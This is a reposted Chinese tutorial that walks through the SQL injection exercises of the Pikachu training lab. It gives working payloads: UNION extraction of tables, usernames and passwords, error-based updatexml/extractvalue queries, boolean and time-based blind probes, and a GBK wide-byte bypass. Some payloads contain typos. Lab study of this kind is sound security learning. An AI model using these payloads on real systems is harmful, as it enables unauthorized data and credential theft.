pikachu-SQL注入


sql注入

數據庫注入漏洞,主要是開發人員在構建代碼時,沒有對輸入邊界進行安全考慮,導致攻擊者可以通過合法的輸入點提交一些精心構造的語句,從而欺騙后台數據庫對其進行執行,導致數據庫信息泄露的一種漏洞。

sql注入攻擊流程

1.  注入點探測

自動方式:使用web漏洞掃描工具,自動進行注入點發現s

手動方式:手工構造sql inject測試語句進行注入點發現

2.  信息獲取

通過注入點取得期望得到的數據

      1.  環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等

      2.  數據庫信息:數據庫名稱,數據庫表,表字段,字段內容(加密內容破解)

      3.  獲取權限       獲取操作系統權限:通過數據庫執行shell,上傳木馬

Get方式中使用url提交注入數據;post方式中使用抓包工具修改post數據部分提交注入

數字型注入(post)

首先選擇數字1 ,點擊查詢

 

 

 由於是post型,所以我們抓包,做一下修改,修改為恆成立 id=1 or 1=1

 

 將其發送到Repeater,點擊Go

 

 可以看到Render里取出了數據庫中全部數據,說明存在數字型注入漏洞。

可以看下源碼,這里沒有做任何處理

字符型注入(get)

我們先輸入kobe

 

因為是字符型的注入,我們可以使用做sqli-labs方法進行嘗試(參考sqli-labs的方法,幾乎每一關都用),加單引號、雙引號、括號、以及他們的組合這里需要注意閉合后面注釋  最后我們試出來是單引號

kobe' or 1=1#

 

 搜索型注入

我們先輸入一個字母k

 可以查看一下源碼(路徑如圖所示)

 

 

 可以看到,這里用了搜索的sql語句:select  username ,id ,email from member where username like '%$name%'  

用了一個like  ‘%xxxx%’, 同樣的道理,可以選擇閉合sql語句:k%' or 1=1#

 

 成功閉合,所有數據顯示出來

xx型注入

相同的道理,只是數據包過形式不同

可以查看源碼(路徑如下)也可以自己嘗試出來

 

 

 

 

 所以構造 k') or 1=1#

 聯合查詢

我們在sqli-labs中用到過多次聯合查詢的語句,下面來回顧一下(以xx注入類型為例)

判斷字段數  a')  order by 2#(數字可以改變,判斷出來字段數為2)

查庫   a')  union select database(),2#  (查到數據庫為pikachu)

 

查表    a') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#   

 

查詢users表中的字段名: a') union select table_name,column_name from information_schema.columns where table_name='users'#

聯合查詢得到用戶名和密碼:a')  union select username,password from users#

insert/updata注入(報錯注入)

 

 

 

 

點擊注冊

 條件:后台沒有屏蔽報錯信息

常用函數:updatexml() exactvalue() floor()(取整函數)

基於insert/update下的報錯

1' or updatexml(1,concat(0x7e,datebase()),0) or'

基於delete下的報錯

1' or updatexml(1,concat(0x7e,datebase()),0) 

基於exactvalue()

kobe' and extractvalue(0,concat(0x7e,version()))#

構造語句  1' or updatexml(1,concat(0x7e,database()),0) or'

密碼必填可以隨意輸

 

得到皮卡丘的數據庫名字是 pikachu

update注入

先登錄進去,使用lucy/123456  然后在修改信息的框中直接填入語句即可,payload和insert的相同

1' or updatexml(1,concat(0x7e,database()),0) or'

得到皮卡丘的數據庫名字是 pikachu

 delete注入

 

基於delete下的報錯

 

1 or updatexml(1,concat(0x7e,datebase()),0)

 

 

 

刪除的時候設置代理,抓包

 將其發送到Repeater,然后改包,將id后面的數字改掉

由於是get的類型的 在payload記得進行url編碼

payload 在上面已經提到   

1 or updatexml(1,concat(0x7e,database()),0) 

 

編碼之后,可以看到空格變為了加號,點擊Go 

 

 得到數據庫pikachu

 http header 注入

原理:有時候后台開發人員為了驗證客戶信息(比如cookie驗證)或者通過http header頭信息獲取客戶端的一些信息,比如useragent、accept字段等 會對客戶端的http header信息進行獲取並使用sql進行處理,如果此時沒有足夠的安全考慮則可能會導致基於http header 的sql inject漏洞。

首先登陸  admin/123456

 

 發現有對頭部信息的獲取,所以可能存在注入

抓包,發送到Repeater

 

 

 

 修改user-agent    將信息改為 firefox' or updatexml(1,concat(0x7e,database()),0) or '

 

 得到數據庫為pikachu

基於boolean盲注(布爾盲注)

 

表現:

 

1.沒有報錯信息

 

2.結果都只顯示兩種情況(0或1)

 

3.在正確的輸入下,輸入and 1=1/and 1=2可以判斷

實際上需要自己一個一個測試出來

輸入   Kobe’ and ascii(substr(database(),1,1))>113#

 

 Kobe’ and ascii(substr(database(),1,1))=112#

 

 獲取表名

test payload:
kobe'  union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

獲取字段名

kobe'  union select table_name,column_name from information_schema.columns where table_name='users'#

 

基於時間的盲注

Kobe' and sleep(5)#   頁面會延遲五秒

 

 kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
1ms就返回結果 說明不是 "a" 改為”p”不返回  一直到確定數據庫的全稱。

寬字節注入

當我們輸入有單引號時被轉義為\’,無法構造 SQL 語句的時候,可以嘗試寬字節注入。

GBK編碼中,反斜杠的編碼是 “%5c”,而 “%df%5c” 是繁體字 “連”。在皮卡丘平台中,將利用 BurpSuite 截獲數據包,發送到 Repeater 中,在里面寫入payload,當我們用通常的測試 payload時,是無法執行成功的

因為在后台單引號會被轉義,在數據庫中執行多了反斜杠,可以使用下面的payload,在單引號前面加上%df,繞過這個WAF。

kobe %df' or 1=1#

 

 我們構造sql查詢語句就可以了

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM